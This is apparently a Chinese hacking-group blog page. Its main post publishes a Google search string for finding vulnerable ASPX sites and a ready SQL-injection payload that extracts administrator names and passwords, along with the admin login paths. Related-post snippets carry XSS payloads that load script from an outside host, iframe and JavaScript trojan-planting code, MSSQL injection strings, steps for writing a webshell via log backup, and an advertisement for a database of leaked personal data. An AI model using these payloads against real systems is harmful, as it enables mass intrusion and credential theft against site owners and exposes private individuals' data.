0DAY漏洞之谷歌搜索 -中国寒龙网病毒联盟

这里公布一个关于aspx网站程序的oday方法很简单。直接爆出管理密码。

也是利用注入漏洞。

利用代码

谷歌搜索关键字：inurl:scoreindex.aspx

cart.aspx?act=buy&id=1 and (SelectTop1char(124)%2BisNull(cast([Name] as varchar(8000)),char(32))%2Bchar(124)%2BisNull(cast([Pass] as varchar(8000)),char(32))%2Bchar(124)From(SelectTop4[Name],[Pass]From[Web_Admin]Where1=1Order by [Name],[Pass]) T Order by [Name] desc,[Pass] desc)>0--

后台地址：/weblogin/Login.aspx

后台地址/weblogin/index.aspx

这个oday出来也有一段时间了。搜索一下也有1300多个搜索结果,公布漏洞的目标不是为了让大家去搞破坏。希望大家合理利用。

时间： 2024-10-09 01:02:21

0DAY漏洞之谷歌搜索 -中国寒龙网病毒联盟的相关文章

Xss宽展教程攻击详列 -中国寒龙网出品欢迎关注

1)普通的XSS JavaScript注入<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>(2)IMG标签XSS使用JavaScript命令<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>(3)IMG标签无分号无引号<IMG SRC=javascript:alert('XSS')>(4)IMG标签大小写不敏感<IMG SRC=JaVaScRiPt:ale

利用谷歌实现批量入侵的方法 -中国寒龙

route print 查看本机设置网络 intext:这个就是把网页中的正文内容中的某个字符做为搜索条件.例如在google里输入:intext:动网.将返回所有在网页正文部分包含"动网"的网页.allintext:使用方法和intext类似. intitle: 和上面那个intext差不多,搜索网页标题中是否有我们所要找的字符.例如搜索:intitle:安全天使.将返回所有网页标题中包含"安全天使"的网页.同理allintitle:也同intitle类似. ca

中国寒龙反网络病毒联盟官网www.hackerschina.org更新公告。社工库更新公告。

大家好欢迎使用中国寒龙反网络病毒联盟在线平台. 本平台为国际公益网站SEC平台在这里本站近期更新的社工库包括:天涯数据乌云网会员数据南宫数据中南股份数据 QQ数据和某住址社工MM数据以及个人数据如果再本站搜索不到您想要的资料说明本站未曾更新您相关的数据资料不过在此您对本站搜索关键字的使用需要有一定的技巧设置如:搜索人名字 QQ号手机号身份证号等等产品序列号等等,本产品序列号和商家号只供搜索中南股份和南宫的数据.谢谢使用本站. 另外本站在年底期间将会升级服务器,,升级期

mssql2005存手工注入漏洞附攻击方法- 寒龙网出品

/**/跟空格的作用一样,有的时候可以过一些过滤爆库语句,修改红色部分的数字挨个猜出库 /**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[

网页挂马大全集 -中国寒龙出品转载写明出处www.hackerschina.org

一:框架挂马<iframe src=地址 width=0 height=0></iframe>二:js文件挂马首先将以下代码document.write("<iframe width='0' height='0' src='地址'></iframe>");保存为xxx.js,则JS挂马代码为<script language=javascript src=xxx.js></script>三:js变形加密<SCR

中国寒龙博客www.hackerschina.org：代码审计：PHP中is_numeric函数十六进制绕过BUG 发生的安全问题有哪些？

0×00 简介国内一部分CMS程序里面有用到过is_numberic函数,我们先看看这个函数的结构bool is_numeric ( mixed $var )如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE. 0×01 函数是否安全接下来我们来看个例子,说明这个函数是否安全. $s = is_numeric($_GET['s'])?$_GET['s']:0; $sql="insert into test(type)values($s);";//是 values($

[中国寒龙联盟出品]C语言基础知识视频教程第一课-C语言简史，特点，基本结构，函数printf（）和scanf()使用和c语言的开发过程。

本视频由中国寒龙收集整理发布,更多请关注我们的博客和,我们的官网:www.hackerschina.org 感谢朋友们的支持!

中国寒龙社工包v3.34 6.1升级版本已经发布具体请到官网下载！！感谢支持！~~~~~不会升级的请到咱们交流群！本程序在windowsxp下最为兼容感谢支持！如果有BUG请反馈！！

寒龙社会工程包:http://pan.baidu.com/s/1dDcilBb当你看到中国寒龙V3.34 6.1版本的发布那么本工具包将更强大的展现了工具包的价值! 本次开发由by:寒龙升级感谢大家支持如果有各位小组的支持本人不谢感激! 当然本站内的工具包可以提供专门店小组工具包制作!承接QQ群:94588528 本次手动升级修复一下几点的不足! v3.33版本出现的各种打不开的问题 v3.33版本中出现主程序远控不能配置的问题 v3.33版本部分文件夹不能打开

DBO权限日志备份专用一句话木马 - 寒龙网出品以前的博客站因为程序错乱改为反病毒联盟后本博客基于博客园地感谢关注

备分专用一句话加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小. 日志备分WEBSHELL标准的七步: 1.InjectionURL';alter database XXX set RECOVERY FULL-- (把sql设置成日志完全恢复模式) 2.InjectionURL';create table cmd (a image)-- (新建立一个cmd表) 3.InjectionURL';backup lo